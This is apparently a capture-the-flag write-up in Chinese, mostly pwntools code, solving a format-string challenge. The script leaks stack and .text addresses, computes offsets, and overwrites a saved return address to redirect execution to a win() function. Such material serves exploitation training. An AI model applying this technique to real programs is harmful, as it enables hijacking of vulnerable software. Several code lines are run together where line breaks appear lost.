Solution
這一題也可以看到 format string 的漏洞,問題在於要怎麼跳到 win()。我的作法是 leak 出 stack 和 .text 段的 address,計算 offset 後用 format string 再寫入 return address 的指標。
io.sendline(b"%40$p.%41$p") # prev frame addrio.recvuntil(b"You said > ")
prev_rbp = io.recvuntil(b".").strip(b".")info("prev_rbp: " + prev_rbp.decode())
ret_addr = io.recvline().strip()info("ret_addr: " + ret_addr.decode())
ptr_ret_addr = int(prev_rbp, 16) - frame_offsetinfo("ptr_ret_addr: " + hex(ptr_ret_addr))
win_addr = int(ret_addr, 16) - win_offsetinfo("win_addr: " + hex(win_addr))
info(hex(ptr_ret_addr + 4) + " -> win_addr: " + hex(win_addr))
payload = fmtstr_payload( offset=6, writes={ ptr_ret_addr: win_addr, }, write_size='short',)
info(b"payload: " + payload)
io.sendline(payload)
io.sendline(b"exit")io.interactive()io.close()